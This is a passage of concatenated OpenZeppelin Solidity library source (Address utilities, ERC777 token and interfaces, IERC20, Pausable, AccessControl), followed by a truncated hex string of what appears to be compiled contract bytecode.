target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC777TokensSender standard as defined in the EIP. * * {IERC777} Token holders can be notified of operations performed on their * tokens by having a contract implement this interface (contract holders can be * their own implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Sender { /** * @dev Called by an {IERC777} token contract whenever a registered holder's * (`from`) tokens are about to be moved or destroyed. The type of operation * is conveyed by `to` being the zero address or not. * * This call occurs _before_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the pre-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. * * Accounts can be notified of {IERC777} tokens being sent to them by having a * contract implement this interface (contract holders can be their own * implementer) and registering it on the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. * * See {IERC1820Registry} and {ERC1820Implementer}. */ interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send( address recipient, uint256 amount, bytes calldata data ) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC777/ERC777.sol) pragma solidity ^0.8.0; import "./IERC777.sol"; import "./IERC777Recipient.sol"; import "./IERC777Sender.sol"; import "../ERC20/IERC20.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/IERC1820Registry.sol"; /** * @dev Implementation of the {IERC777} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * * Support for ERC20 is included in this contract, as specified by the EIP: both * the ERC777 and ERC20 interfaces can be safely used when interacting with it. * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token * movements. * * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there * are no special restrictions in the amount of tokens that created, moved, or * destroyed. This makes integration with ERC20 applications seamless. */ contract ERC777 is Context, IERC777, IERC20 { using Address for address; IERC1820Registry internal constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); mapping(address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender"); bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); // This isn't ever read from - it's only used to respond to the defaultOperators query. address[] private _defaultOperatorsArray; // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). mapping(address => bool) private _defaultOperators; // For each account, a mapping of its operators and revoked default operators. mapping(address => mapping(address => bool)) private _operators; mapping(address => mapping(address => bool)) private _revokedDefaultOperators; // ERC20-allowances mapping(address => mapping(address => uint256)) private _allowances; /** * @dev `defaultOperators` may be an empty array. */ constructor( string memory name_, string memory symbol_, address[] memory defaultOperators_ ) { _name = name_; _symbol = symbol_; _defaultOperatorsArray = defaultOperators_; for (uint256 i = 0; i < defaultOperators_.length; i++) { _defaultOperators[defaultOperators_[i]] = true; } // register interfaces _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); } /** * @dev See {IERC777-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC777-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {ERC20-decimals}. * * Always returns 18, as per the * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). */ function decimals() public pure virtual returns (uint8) { return 18; } /** * @dev See {IERC777-granularity}. * * This implementation always returns `1`. */ function granularity() public view virtual override returns (uint256) { return 1; } /** * @dev See {IERC777-totalSupply}. */ function totalSupply() public view virtual override(IERC20, IERC777) returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of tokens owned by an account (`tokenHolder`). */ function balanceOf(address tokenHolder) public view virtual override(IERC20, IERC777) returns (uint256) { return _balances[tokenHolder]; } /** * @dev See {IERC777-send}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function send( address recipient, uint256 amount, bytes memory data ) public virtual override { _send(_msgSender(), recipient, amount, data, "", true); } /** * @dev See {IERC20-transfer}. * * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} * interface if it is a contract. * * Also emits a {Sent} event. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); address from = _msgSender(); _callTokensToSend(from, from, recipient, amount, "", ""); _move(from, from, recipient, amount, "", ""); _callTokensReceived(from, from, recipient, amount, "", "", false); return true; } /** * @dev See {IERC777-burn}. * * Also emits a {IERC20-Transfer} event for ERC20 compatibility. */ function burn(uint256 amount, bytes memory data) public virtual override { _burn(_msgSender(), amount, data, ""); } /** * @dev See {IERC777-isOperatorFor}. */ function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) { return operator == tokenHolder || (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || _operators[tokenHolder][operator]; } /** * @dev See {IERC777-authorizeOperator}. */ function authorizeOperator(address operator) public virtual override { require(_msgSender() != operator, "ERC777: authorizing self as operator"); if (_defaultOperators[operator]) { delete _revokedDefaultOperators[_msgSender()][operator]; } else { _operators[_msgSender()][operator] = true; } emit AuthorizedOperator(operator, _msgSender()); } /** * @dev See {IERC777-revokeOperator}. */ function revokeOperator(address operator) public virtual override { require(operator != _msgSender(), "ERC777: revoking self as operator"); if (_defaultOperators[operator]) { _revokedDefaultOperators[_msgSender()][operator] = true; } else { delete _operators[_msgSender()][operator]; } emit RevokedOperator(operator, _msgSender()); } /** * @dev See {IERC777-defaultOperators}. */ function defaultOperators() public view virtual override returns (address[] memory) { return _defaultOperatorsArray; } /** * @dev See {IERC777-operatorSend}. * * Emits {Sent} and {IERC20-Transfer} events. */ function operatorSend( address sender, address recipient, uint256 amount, bytes memory data, bytes memory operatorData ) public virtual override { require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); _send(sender, recipient, amount, data, operatorData, true); } /** * @dev See {IERC777-operatorBurn}. * * Emits {Burned} and {IERC20-Transfer} events. */ function operatorBurn( address account, uint256 amount, bytes memory data, bytes memory operatorData ) public virtual override { require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); _burn(account, amount, data, operatorData); } /** * @dev See {IERC20-allowance}. * * Note that operator and allowance concepts are orthogonal: operators may * not have allowance, and accounts with allowance may not be operators * themselves. */ function allowance(address holder, address spender) public view virtual override returns (uint256) { return _allowances[holder][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Note that accounts cannot have allowance issued by their operators. */ function approve(address spender, uint256 value) public virtual override returns (bool) { address holder = _msgSender(); _approve(holder, spender, value); return true; } /** * @dev See {IERC20-transferFrom}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Note that operator and allowance concepts are orthogonal: operators cannot * call `transferFrom` (unless they have allowance), and accounts with * allowance cannot call `operatorSend` (unless they are operators). * * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. */ function transferFrom( address holder, address recipient, uint256 amount ) public virtual override returns (bool) { require(recipient != address(0), "ERC777: transfer to the zero address"); require(holder != address(0), "ERC777: transfer from the zero address"); address spender = _msgSender(); _callTokensToSend(spender, holder, recipient, amount, "", ""); _spendAllowance(holder, spender, amount); _move(spender, holder, recipient, amount, "", ""); _callTokensReceived(spender, holder, recipient, amount, "", "", false); return true; } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If a send hook is registered for `account`, the corresponding function * will be called with `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData ) internal virtual { _mint(account, amount, userData, operatorData, true); } /** * @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * If `requireReceptionAck` is set to true, and if a send hook is * registered for `account`, the corresponding function will be called with * `operator`, `data` and `operatorData`. * * See {IERC777Sender} and {IERC777Recipient}. * * Emits {Minted} and {IERC20-Transfer} events. * * Requirements * * - `account` cannot be the zero address. * - if `account` is a contract, it must implement the {IERC777Recipient} * interface. */ function _mint( address account, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal virtual { require(account != address(0), "ERC777: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, amount); // Update state variables _totalSupply += amount; _balances[account] += amount; _callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck); emit Minted(operator, account, amount, userData, operatorData); emit Transfer(address(0), account, amount); } /** * @dev Send tokens * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _send( address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) internal virtual { require(from != address(0), "ERC777: send from the zero address"); require(to != address(0), "ERC777: send to the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, to, amount, userData, operatorData); _move(operator, from, to, amount, userData, operatorData); _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); } /** * @dev Burn tokens * @param from address token holder address * @param amount uint256 amount of tokens to burn * @param data bytes extra information provided by the token holder * @param operatorData bytes extra information provided by the operator (if any) */ function _burn( address from, uint256 amount, bytes memory data, bytes memory operatorData ) internal virtual { require(from != address(0), "ERC777: burn from the zero address"); address operator = _msgSender(); _callTokensToSend(operator, from, address(0), amount, data, operatorData); _beforeTokenTransfer(operator, from, address(0), amount); // Update state variables uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC777: burn amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _totalSupply -= amount; emit Burned(operator, from, amount, data, operatorData); emit Transfer(from, address(0), amount); } function _move( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { _beforeTokenTransfer(operator, from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC777: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Sent(operator, from, to, amount, userData, operatorData); emit Transfer(from, to, amount); } /** * @dev See {ERC20-_approve}. * * Note that accounts cannot have allowance issued by their operators. */ function _approve( address holder, address spender, uint256 value ) internal virtual { require(holder != address(0), "ERC777: approve from the zero address"); require(spender != address(0), "ERC777: approve to the zero address"); _allowances[holder][spender] = value; emit Approval(holder, spender, value); } /** * @dev Call from.tokensToSend() if the interface is registered * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) */ function _callTokensToSend( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData ) private { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); if (implementer != address(0)) { IERC777Sender(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); } } /** * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but * tokensReceived() was not registered for the recipient * @param operator address operator requesting the transfer * @param from address token holder address * @param to address recipient address * @param amount uint256 amount of tokens to transfer * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient */ function _callTokensReceived( address operator, address from, address to, uint256 amount, bytes memory userData, bytes memory operatorData, bool requireReceptionAck ) private { address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); if (implementer != address(0)) { IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); } else if (requireReceptionAck) { require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); } } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC777: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any token transfer. This includes * calls to {send}, {transfer}, {operatorSend}, minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80638456cb591161010f578063d547741f116100a2578063e72db5fd11610071578063e72db5fd146105bb578063fad8b32a146105d9578063fc673c4f146105f5578063fe9d930314610611576101f0565b8063d547741f14610521578063d95b63711461053d578063dd62ed3e1461056d578063e63ab1e91461059d576101f0565b80639bd9bbc6116100de5780639bd9bbc614610487578063a217fddf146104a3578063a9059cbb146104c1578063ac9650d8146104f1576101f0565b80638456cb591461041357806391d148541461041d578063959b8c3f1461044d57806395d89b4114610469576101f0565b8063313ce56711610187578063556f0dc711610156578063556f0dc71461038b5780635c975abb146103a957806362ad1b83146103c757806370a08231146103e3576101f0565b8063313ce5671461032b57806336568abe146103495780633f4ba83a1461036557806340c10f191461036f576101f0565b806318160ddd116101c357806318160ddd1461029157806323b872dd146102af578063248a9ca3146102df5780632f2ff15d1461030f576101f0565b806301ffc9a7146101f557806306e485381461022557806306fdde0314610243578063095ea7b314610261575b600080fd5b61020f600480360381019061020a9190612d31565b61062d565b60405161021c9190612d79565b60405180910390f35b61022d6106a7565b60405161023a9190612e84565b60405180910390f35b61024b610735565b6040516102589190612f3f565b60405180910390f35b61027b60048036038101906102769190612fc3565b6107c7565b6040516102889190612d79565b60405180910390f35b6102996107ea565b6040516102a69190613012565b60405180910390f35b6102c960048036038101906102c4919061302